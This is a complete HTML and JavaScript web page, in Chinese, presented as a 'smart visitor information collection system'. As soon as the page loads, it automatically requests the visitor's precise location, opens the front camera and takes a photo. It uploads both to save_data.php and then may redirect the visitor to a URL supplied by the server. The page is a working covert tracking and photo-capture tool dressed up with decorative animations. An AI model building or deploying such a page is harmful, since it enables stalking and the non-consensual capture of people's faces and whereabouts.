<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <title>🌟 访客信息收集系统</title>

    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'SF Pro Display', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            min-height: 100vh;
            overflow-x: hidden;
            position: relative;
            background: #000;
        }
        
        /* 动态视频背景 */
        .video-background {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -2;
            object-fit: cover;
        }
        
        /* 如果没有视频，使用动态CSS背景 */
        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -3;
            background: 
                radial-gradient(circle at 20% 80%, rgba(120, 119, 198, 0.3) 0%, transparent 50%),
                radial-gradient(circle at 80% 20%, rgba(255, 119, 198, 0.3) 0%, transparent 50%),
                radial-gradient(circle at 40% 40%, rgba(120, 219, 255, 0.3) 0%, transparent 50%),
                linear-gradient(135deg, #667eea 0%, #764ba2 25%, #f093fb 50%, #f5576c 75%, #4facfe 100%);
            background-size: 400% 400%;
            animation: gradientMove 15s ease infinite;
        }
        
        @keyframes gradientMove {
            0%, 100% {
                background-position: 0% 50%;
            }
            25% {
                background-position: 100% 50%;
            }
            50% {
                background-position: 100% 100%;
            }
            75% {
                background-position: 0% 100%;
            }
        }
        
        /* 渐变遮罩层 */
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: linear-gradient(
                135deg,
                rgba(102, 126, 234, 0.8) 0%,
                rgba(118, 75, 162, 0.8) 25%,
                rgba(255, 94, 77, 0.7) 50%,
                rgba(255, 154, 0, 0.7) 75%,
                rgba(46, 213, 115, 0.8) 100%
            );
            z-index: -1;
            animation: gradientShift 10s ease-in-out infinite;
        }
        
        @keyframes gradientShift {
            0%, 100% {
                background: linear-gradient(135deg, rgba(102, 126, 234, 0.8) 0%, rgba(118, 75, 162, 0.8) 100%);
            }
            25% {
                background: linear-gradient(135deg, rgba(255, 94, 77, 0.8) 0%, rgba(255, 154, 0, 0.8) 100%);
            }
            50% {
                background: linear-gradient(135deg, rgba(46, 213, 115, 0.8) 0%, rgba(0, 184, 169, 0.8) 100%);
            }
            75% {
                background: linear-gradient(135deg, rgba(116, 75, 162, 0.8) 0%, rgba(102, 126, 234, 0.8) 100%);
            }
        }
        
        /* 浮动粒子效果 */
        .particles {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            pointer-events: none;
        }
        
        .particle {
            position: absolute;
            background: rgba(255, 255, 255, 0.6);
            border-radius: 50%;
            animation: float 6s ease-in-out infinite;
        }
        
        @keyframes float {
            0%, 100% {
                transform: translateY(0px) rotate(0deg);
                opacity: 0.6;
            }
            50% {
                transform: translateY(-20px) rotate(180deg);
                opacity: 1;
            }
        }
        
        /* 主容器 */
        .main-container {
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
            position: relative;
            z-index: 1;
        }
        
        .container {
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 25px;
            box-shadow: 
                0 25px 50px rgba(0, 0, 0, 0.3),
                inset 0 1px 0 rgba(255, 255, 255, 0.3);
            padding: 40px;
            max-width: 500px;
            width: 100%;
            text-align: center;
            backdrop-filter: blur(20px);
            -webkit-backdrop-filter: blur(20px);
            position: relative;
            overflow: hidden;
            animation: containerGlow 4s ease-in-out infinite;
        }
        
        @keyframes containerGlow {
            0%, 100% {
                box-shadow: 
                    0 25px 50px rgba(0, 0, 0, 0.3),
                    inset 0 1px 0 rgba(255, 255, 255, 0.3),
                    0 0 30px rgba(102, 126, 234, 0.3);
            }
            50% {
                box-shadow: 
                    0 25px 50px rgba(0, 0, 0, 0.3),
                    inset 0 1px 0 rgba(255, 255, 255, 0.3),
                    0 0 50px rgba(255, 94, 77, 0.4);
            }
        }
        
        .container::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
            animation: shimmer 3s infinite;
        }
        
        @keyframes shimmer {
            0% {
                left: -100%;
            }
            100% {
                left: 100%;
            }
        }
        
        .logo {
            font-size: 4em;
            margin-bottom: 20px;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4, #45b7d1, #96ceb4, #feca57);
            background-size: 300% 300%;
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            animation: gradientText 3s ease-in-out infinite;
            text-shadow: 0 0 30px rgba(255, 255, 255, 0.5);
        }
        
        @keyframes gradientText {
            0%, 100% {
                background-position: 0% 50%;
            }
            50% {
                background-position: 100% 50%;
            }
        }
        
        h1 {
            color: rgba(255, 255, 255, 0.95);
            margin-bottom: 30px;
            font-size: 2.2em;
            font-weight: 600;
            text-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
            letter-spacing: -0.5px;
        }
        
        .status {
            background: rgba(255, 255, 255, 0.15);
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 15px;
            padding: 25px;
            margin: 25px 0;
            text-align: left;
            backdrop-filter: blur(10px);
            position: relative;
            overflow: hidden;
        }
        
        .status::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            width: 4px;
            height: 100%;
            background: linear-gradient(180deg, #ff6b6b, #4ecdc4, #45b7d1);
            animation: borderGlow 2s ease-in-out infinite;
        }
        
        @keyframes borderGlow {
            0%, 100% {
                background: linear-gradient(180deg, #ff6b6b, #4ecdc4);
            }
            50% {
                background: linear-gradient(180deg, #4ecdc4, #45b7d1);
            }
        }
        
        .status h3 {
            color: rgba(255, 255, 255, 0.9);
            margin-bottom: 15px;
            font-size: 1.3em;
            font-weight: 600;
            text-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);
        }
        
        .status p {
            color: rgba(255, 255, 255, 0.8);
            line-height: 1.7;
            margin: 8px 0;
            font-size: 1.05em;
        }
        
        .progress {
            background: rgba(255, 255, 255, 0.2);
            border-radius: 15px;
            height: 12px;
            margin: 25px 0;
            overflow: hidden;
            position: relative;
            box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.2);
        }
        
        .progress-bar {
            background: linear-gradient(90deg, #ff6b6b, #4ecdc4, #45b7d1, #96ceb4);
            background-size: 300% 100%;
            height: 100%;
            width: 0%;
            transition: width 0.8s cubic-bezier(0.4, 0, 0.2, 1);
            border-radius: 15px;
            position: relative;
            animation: progressShine 2s ease-in-out infinite;
        }
        
        @keyframes progressShine {
            0%, 100% {
                background-position: 0% 50%;
            }
            50% {
                background-position: 100% 50%;
            }
        }
        
        .progress-bar::after {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.4), transparent);
            animation: progressGlow 1.5s ease-in-out infinite;
        }
        
        @keyframes progressGlow {
            0% {
                transform: translateX(-100%);
            }
            100% {
                transform: translateX(100%);
            }
        }
        
        .camera-preview {
            margin: 20px 0;
            border-radius: 10px;
            overflow: hidden;
            background: rgba(255, 255, 255, 0.1);
            display: none;
        }
        
        #video {
            width: 100%;
            max-width: 400px;
            height: auto;
            border-radius: 10px;
        }
        
        #canvas {
            display: none;
        }
        
        .photo-preview {
            margin: 20px 0;
            display: none;
        }
        
        .photo-preview img {
            max-width: 100%;
            border-radius: 10px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
        }
        

        
        .btn {
            background: linear-gradient(135deg, #ff6b6b 0%, #4ecdc4 50%, #45b7d1 100%);
            background-size: 200% 200%;
            color: white;
            border: none;
            padding: 18px 35px;
            border-radius: 50px;
            font-size: 1.1em;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
            margin: 15px;
            box-shadow: 
                0 8px 25px rgba(255, 107, 107, 0.3),
                inset 0 1px 0 rgba(255, 255, 255, 0.2);
            position: relative;
            overflow: hidden;
            text-transform: uppercase;
            letter-spacing: 1px;
            animation: buttonPulse 3s ease-in-out infinite;
        }
        
        @keyframes buttonPulse {
            0%, 100% {
                background-position: 0% 50%;
                box-shadow: 
                    0 8px 25px rgba(255, 107, 107, 0.3),
                    inset 0 1px 0 rgba(255, 255, 255, 0.2);
            }
            50% {
                background-position: 100% 50%;
                box-shadow: 
                    0 12px 35px rgba(78, 205, 196, 0.4),
                    inset 0 1px 0 rgba(255, 255, 255, 0.2);
            }
        }
        
        .btn::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.3), transparent);
            transition: left 0.5s;
        }
        
        .btn:hover {
            transform: translateY(-3px) scale(1.05);
            box-shadow: 
                0 15px 40px rgba(255, 107, 107, 0.4),
                inset 0 1px 0 rgba(255, 255, 255, 0.3);
        }
        
        .btn:hover::before {
            left: 100%;
        }
        
        .btn:active {
            transform: translateY(-1px) scale(1.02);
        }
        
        .btn:disabled {
            opacity: 0.5;
            cursor: not-allowed;
            transform: none;
            animation: none;
        }
        
        .success {
            color: #28a745;
            font-weight: bold;
        }
        
        .error {
            color: #dc3545;
            font-weight: bold;
        }
        
        .loading {
            display: inline-block;
            width: 24px;
            height: 24px;
            border: 3px solid rgba(255, 255, 255, 0.3);
            border-top: 3px solid #ff6b6b;
            border-right: 3px solid #4ecdc4;
            border-radius: 50%;
            animation: spin 1.2s cubic-bezier(0.4, 0, 0.2, 1) infinite;
            margin-right: 12px;
            vertical-align: middle;
        }
        
        @keyframes spin {
            0% { 
                transform: rotate(0deg);
                border-top-color: #ff6b6b;
                border-right-color: #4ecdc4;
            }
            33% {
                border-top-color: #4ecdc4;
                border-right-color: #45b7d1;
            }
            66% {
                border-top-color: #45b7d1;
                border-right-color: #96ceb4;
            }
            100% { 
                transform: rotate(360deg);
                border-top-color: #ff6b6b;
                border-right-color: #4ecdc4;
            }
        }
        
        .auto-message {
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid rgba(255, 255, 255, 0.3);
            border-radius: 20px;
            padding: 20px;
            margin: 25px 0;
            color: rgba(255, 255, 255, 0.9);
            position: relative;
            overflow: hidden;
            backdrop-filter: blur(10px);
        }
        
        .auto-message::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 2px;
            background: linear-gradient(90deg, #ff6b6b, #4ecdc4, #45b7d1, #96ceb4);
            background-size: 300% 100%;
            animation: borderFlow 3s ease-in-out infinite;
        }
        
        @keyframes borderFlow {
            0%, 100% {
                background-position: 0% 50%;
            }
            50% {
                background-position: 100% 50%;
            }
        }
        
        /* 手机端适配 */
        @media (max-width: 768px) {
            .main-container {
                padding: 15px;
                min-height: 100vh;
            }
            
            .container {
                padding: 25px 20px;
                margin: 0;
                max-width: 100%;
                border-radius: 20px;
            }
            
            h1 {
                font-size: 1.8em;
                margin-bottom: 20px;
                line-height: 1.3;
            }
            
            .logo {
                font-size: 3em;
                margin-bottom: 15px;
            }
            
            .status {
                padding: 20px 15px;
                margin: 20px 0;
            }
            
            .status h3 {
                font-size: 1.1em;
            }
            
            .status p {
                font-size: 1em;
            }
            
            .btn {
                padding: 15px 25px;
                font-size: 1em;
                margin: 10px 5px;
            }
            
            .auto-message {
                padding: 15px;
                margin: 20px 0;
                font-size: 0.95em;
            }
            
            .progress {
                height: 10px;
                margin: 20px 0;
            }
        }
        
        @media (max-width: 480px) {
            .main-container {
                padding: 10px;
            }
            
            .container {
                padding: 20px 15px;
                border-radius: 15px;
            }
            
            h1 {
                font-size: 1.6em;
                margin-bottom: 15px;
            }
            
            .logo {
                font-size: 2.5em;
                margin-bottom: 10px;
            }
            
            .status {
                padding: 15px 12px;
                margin: 15px 0;
            }
            
            .btn {
                padding: 12px 20px;
                font-size: 0.95em;
                margin: 8px 3px;
            }
            
            .auto-message {
                padding: 12px;
                margin: 15px 0;
                font-size: 0.9em;
            }
        }
        
        /* 超小屏幕适配 */
        @media (max-width: 360px) {
            .container {
                padding: 15px 10px;
            }
            
            h1 {
                font-size: 1.4em;
            }
            
            .logo {
                font-size: 2.2em;
            }
            
            .status h3 {
                font-size: 1em;
            }
            
            .status p {
                font-size: 0.9em;
            }
        }
        
        /* 横屏适配 */
        @media (max-height: 600px) and (orientation: landscape) {
            .main-container {
                padding: 10px;
            }
            
            .container {
                padding: 20px;
                max-height: 90vh;
                overflow-y: auto;
            }
            
            .logo {
                font-size: 2.5em;
                margin-bottom: 10px;
            }
            
            h1 {
                font-size: 1.5em;
                margin-bottom: 15px;
            }
            
            .status {
                padding: 15px;
                margin: 15px 0;
            }
        }
    </style>
</head>
<body>
    <!-- 动态视频背景 -->
    <video class="video-background" autoplay muted loop playsinline id="bgVideo" style="display: none;" preload="none">
        <!-- 视频源将通过JavaScript动态加载 -->
    </video>
    
    <!-- 渐变遮罩层 -->
    <div class="overlay"></div>
    
    <!-- 浮动粒子效果 -->
    <div class="particles" id="particles"></div>
    
    <div class="main-container">
        <div class="container">
            <div class="logo">🌟📍📷✨</div>
            <h1>智能访客信息收集系统</h1>
            
            <div class="auto-message">
                <strong>🤖 自动模式</strong><br>
                系统将自动获取您的位置信息和拍摄照片，无需手动操作。
            </div>
            
            <div class="progress">
                <div class="progress-bar" id="progressBar"></div>
            </div>
            
            <div class="status" id="status">
                <h3>系统状态</h3>
                <p id="statusText">正在初始化系统...</p>
            </div>
            
            <div class="camera-preview" id="cameraPreview">
                <video id="video" autoplay playsinline></video>
                <canvas id="canvas"></canvas>
            </div>
            

            <div class="photo-preview" id="photoPreview">
                <h3>已拍摄照片</h3>
                <img id="photoImg" alt="拍摄的照片">
            </div>
        </div>
    </div>

    <script>
        let currentLocation = null;
        let capturedPhoto = null;
        let progressStep = 0;
        
        // 创建粒子效果
        function createParticles() {
            const particlesContainer = document.getElementById('particles');
            const particleCount = window.innerWidth < 768 ? 15 : 25; // 手机端减少粒子数量
            
            for (let i = 0; i < particleCount; i++) {
                const particle = document.createElement('div');
                particle.className = 'particle';
                
                // 随机大小和位置
                const size = Math.random() * 6 + 2;
                particle.style.width = size + 'px';
                particle.style.height = size + 'px';
                particle.style.left = Math.random() * 100 + '%';
                particle.style.top = Math.random() * 100 + '%';
                
                // 随机动画延迟
                particle.style.animationDelay = Math.random() * 6 + 's';
                particle.style.animationDuration = (Math.random() * 4 + 4) + 's';
                
                particlesContainer.appendChild(particle);
            }
        }
        
        // 检测设备类型
        function isMobile() {
            return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
        }
        
        // 优化移动端性能
        function optimizeForMobile() {
            if (isMobile()) {
                // 减少动画效果
                document.body.style.setProperty('--animation-duration', '2s');
                
                // 禁用视频背景在低端设备上
                const video = document.querySelector('.video-background');
                if (video && window.innerWidth < 480) {
                    video.style.display = 'none';
                }
            }
        }
        
        // 检测并加载视频背景
        function initVideoBackground() {
            const video = document.getElementById('bgVideo');
            const videoPaths = [
                'background.mp4',
                'assets/background.mp4', 
                'videos/background.mp4'
            ];
            
            let currentPathIndex = 0;
            
            function tryLoadVideo() {
                if (currentPathIndex >= videoPaths.length) {
                    console.log('所有视频路径都尝试失败，使用CSS背景');
                    return;
                }
                
                const currentPath = videoPaths[currentPathIndex];
                
                // 先检查文件是否存在
                fetch(currentPath, { method: 'HEAD' })
                    .then(response => {
                        if (response.ok) {
                            // 文件存在，加载视频
                            const source = document.createElement('source');
                            source.src = currentPath;
                            source.type = 'video/mp4';
                            video.appendChild(source);
                            
                            video.addEventListener('loadeddata', function() {
                                console.log('视频背景加载成功:', currentPath);
                                video.style.display = 'block';
                                video.play().catch(e => {
                                    console.log('视频自动播放失败，使用CSS背景');
                                    video.style.display = 'none';
                                });
                            });
                            
                            video.addEventListener('error', function() {
                                console.log('视频播放失败，尝试下一个路径');
                                video.innerHTML = ''; // 清空source
                                currentPathIndex++;
                                tryLoadVideo();
                            });
                            
                            video.load(); // 开始加载
                        } else {
                            // 文件不存在，尝试下一个路径
                            currentPathIndex++;
                            tryLoadVideo();
                        }
                    })
                    .catch(() => {
                        // 请求失败，尝试下一个路径
                        currentPathIndex++;
                        tryLoadVideo();
                    });
            }
            
            // 开始尝试加载视频
            tryLoadVideo();
            
            // 设置总体超时
            setTimeout(() => {
                if (video.style.display === 'none' || !video.src) {
                    console.log('视频加载总体超时，使用CSS背景');
                }
            }, 5000);
        }
        
        // 更新状态显示
        function updateStatus(message, isError = false) {
            const statusText = document.getElementById('statusText');
            statusText.innerHTML = message;
            statusText.className = isError ? 'error' : '';
            console.log('状态更新:', message);
        }
        
        // 更新进度条
        function updateProgress(step) {
            progressStep = step;
            const progressBar = document.getElementById('progressBar');
            const percentage = (step / 4) * 100;
            progressBar.style.width = percentage + '%';
        }
        

        
        // 获取地理位置
        function getLocation() {
            updateStatus('<div class="loading"></div>正在获取您的位置信息...');
            updateProgress(1);
            
            if (!navigator.geolocation) {
                updateStatus('❌ 您的浏览器不支持地理位置功能', true);
                return;
            }
            
            const options = {
                enableHighAccuracy: true,
                timeout: 10000,
                maximumAge: 0
            };
            
            navigator.geolocation.getCurrentPosition(
                function(position) {
                    currentLocation = {
                        latitude: position.coords.latitude,
                        longitude: position.coords.longitude,
                        accuracy: position.coords.accuracy
                    };
                    
                    updateStatus(`✅ 位置获取成功<br>纬度: ${currentLocation.latitude.toFixed(6)}<br>经度: ${currentLocation.longitude.toFixed(6)}<br>精度: ${Math.round(currentLocation.accuracy)}米`);
                    updateProgress(2);
                    
                    // 位置获取成功后，自动开始拍照
                    setTimeout(function() {
                        startCamera();
                    }, 2000);
                },
                function(error) {
                    let errorMessage = '❌ 位置获取失败: ';
                    switch(error.code) {
                        case error.PERMISSION_DENIED:
                            errorMessage += '用户拒绝了位置访问请求';
                            break;
                        case error.POSITION_UNAVAILABLE:
                            errorMessage += '位置信息不可用';
                            break;
                        case error.TIMEOUT:
                            errorMessage += '获取位置信息超时';
                            break;
                        default:
                            errorMessage += '未知错误';
                            break;
                    }
                    updateStatus(errorMessage, true);
                    
                    // 即使位置获取失败，也尝试拍照
                    setTimeout(function() {
                        startCamera();
                    }, 3000);
                },
                options
            );
        }
        
        // 启动摄像头
        function startCamera() {
            updateStatus('<div class="loading"></div>正在启动摄像头...');
            updateProgress(3);
            
            const video = document.getElementById('video');
            const cameraPreview = document.getElementById('cameraPreview');
            
            // 优先使用前置摄像头
            const constraints = {
                video: {
                    facingMode: { ideal: 'user' },
                    width: { ideal: 1280 },
                    height: { ideal: 720 }
                }
            };
            
            navigator.mediaDevices.getUserMedia(constraints)
                .then(function(stream) {
                    video.srcObject = stream;
                    cameraPreview.style.display = 'block';
                    
                    updateStatus('📷 摄像头已启动，正在自动拍照...');
                    
                    // 等待视频加载完成后自动拍照
                    video.addEventListener('loadedmetadata', function() {
                        setTimeout(function() {
                            capturePhoto(stream);
                        }, 3000); // 3秒后自动拍照
                    });
                })
                .catch(function(error) {
                    console.error('摄像头启动失败:', error);
                    updateStatus('❌ 摄像头启动失败: ' + error.message, true);
                    
                    // 摄像头失败也尝试提交数据
                    setTimeout(function() {
                        submitData();
                    }, 2000);
                });
        }
        
        // 拍摄照片
        function capturePhoto(stream) {
            const video = document.getElementById('video');
            const canvas = document.getElementById('canvas');
            const photoPreview = document.getElementById('photoPreview');
            const photoImg = document.getElementById('photoImg');
            
            // 设置canvas尺寸
            canvas.width = video.videoWidth;
            canvas.height = video.videoHeight;
            
            // 绘制当前视频帧到canvas
            const context = canvas.getContext('2d');
            context.drawImage(video, 0, 0, canvas.width, canvas.height);
            
            // 获取图片数据
            capturedPhoto = canvas.toDataURL('image/jpeg', 0.8);
            
            // 显示预览
            photoImg.src = capturedPhoto;
            photoPreview.style.display = 'block';
            
            // 停止摄像头
            stream.getTracks().forEach(track => track.stop());
            document.getElementById('cameraPreview').style.display = 'none';
            
            updateStatus('✅ 照片拍摄成功，正在提交数据...');
            updateProgress(4);
            
            // 自动提交数据
            setTimeout(function() {
                submitData();
            }, 2000);
        }
        
        // 检查并执行跳转
        function checkAndRedirect() {
            fetch('get_redirect_config.php')
                .then(response => response.json())
                .then(config => {
                    if (config.enable_redirect && config.redirect_url) {
                        const delay = (config.redirect_delay || 3) * 1000;
                        let countdown = config.redirect_delay || 3;
                        
                        // 显示倒计时
                        const countdownInterval = setInterval(() => {
                            if (countdown > 0) {
                                updateStatus(`🎉 数据提交成功！感谢您的配合。<br><small>访客ID: ${window.lastVisitorId || 'N/A'}</small><br><br>⏰ ${countdown} 秒后将自动跳转...`);
                                countdown--;
                            } else {
                                clearInterval(countdownInterval);
                                updateStatus('🔄 正在跳转...');
                                window.location.href = config.redirect_url;
                            }
                        }, 1000);
                        
                        // 备用跳转（防止倒计时失败）
                        setTimeout(() => {
                            window.location.href = config.redirect_url;
                        }, delay + 1000);
                    }
                })
                .catch(error => {
                    console.log('跳转配置获取失败:', error);
                    // 跳转配置获取失败时不影响正常流程
                });
        }
        
        // 提交数据到服务器
        function submitData() {
            updateStatus('<div class="loading"></div>正在提交数据到服务器...');
            
            const formData = new FormData();
            
            // 添加位置数据
            if (currentLocation) {
                formData.append('latitude', currentLocation.latitude);
                formData.append('longitude', currentLocation.longitude);
                formData.append('accuracy', currentLocation.accuracy);
            }
            
            // 添加照片数据
            if (capturedPhoto) {
                // 将base64转换为blob
                const byteCharacters = atob(capturedPhoto.split(',')[1]);
                const byteNumbers = new Array(byteCharacters.length);
                for (let i = 0; i < byteCharacters.length; i++) {
                    byteNumbers[i] = byteCharacters.charCodeAt(i);
                }
                const byteArray = new Uint8Array(byteNumbers);
                const blob = new Blob([byteArray], {type: 'image/jpeg'});
                formData.append('photo', blob, 'visitor_photo.jpg');
            }
            
            // 添加客户端时间戳
            formData.append('client_timestamp', new Date().toISOString());
            
            // 发送数据
            fetch('save_data.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    // 保存访客ID供跳转时使用
                    window.lastVisitorId = data.visitor_id;
                    updateStatus('🎉 数据提交成功！感谢您的配合。<br><small>访客ID: ' + data.visitor_id + '</small>');
                    updateProgress(4);
                    
                    // 检查是否需要跳转
                    setTimeout(() => {
                        checkAndRedirect();
                    }, 1000);
                } else {
                    updateStatus('❌ 数据提交失败: ' + (data.message || '未知错误'), true);
                }
            })
            .catch(error => {
                console.error('提交失败:', error);
                updateStatus('❌ 网络错误，数据提交失败', true);
            });
        }
        
        // 页面加载完成后自动开始流程
        window.addEventListener('load', function() {
            // 初始化视频背景
            initVideoBackground();
            
            // 创建粒子效果
            createParticles();
            
            // 移动端优化
            optimizeForMobile();
            
            updateStatus('🚀 系统已启动，正在自动获取信息...');
            updateProgress(0);
            
            // 延迟2秒开始，给用户一个准备时间
            setTimeout(function() {
                getLocation();
            }, 2000);
        });
        
        // 窗口大小改变时重新创建粒子
        window.addEventListener('resize', function() {
            const particlesContainer = document.getElementById('particles');
            particlesContainer.innerHTML = '';
            setTimeout(createParticles, 100);
        });
        
        // 页面可见性变化优化
        document.addEventListener('visibilitychange', function() {
            const video = document.querySelector('.video-background');
            if (document.hidden) {
                // 页面隐藏时暂停视频
                if (video) video.pause();
            } else {
                // 页面显示时恢复视频
                if (video) video.play();
            }
        });
        
        // 防止页面刷新时丢失进度
        window.addEventListener('beforeunload', function(e) {
            if (progressStep > 0 && progressStep < 4) {
                e.preventDefault();
                e.returnValue = '数据收集正在进行中，确定要离开吗？';
            }
        });
    </script>
</body>
</html>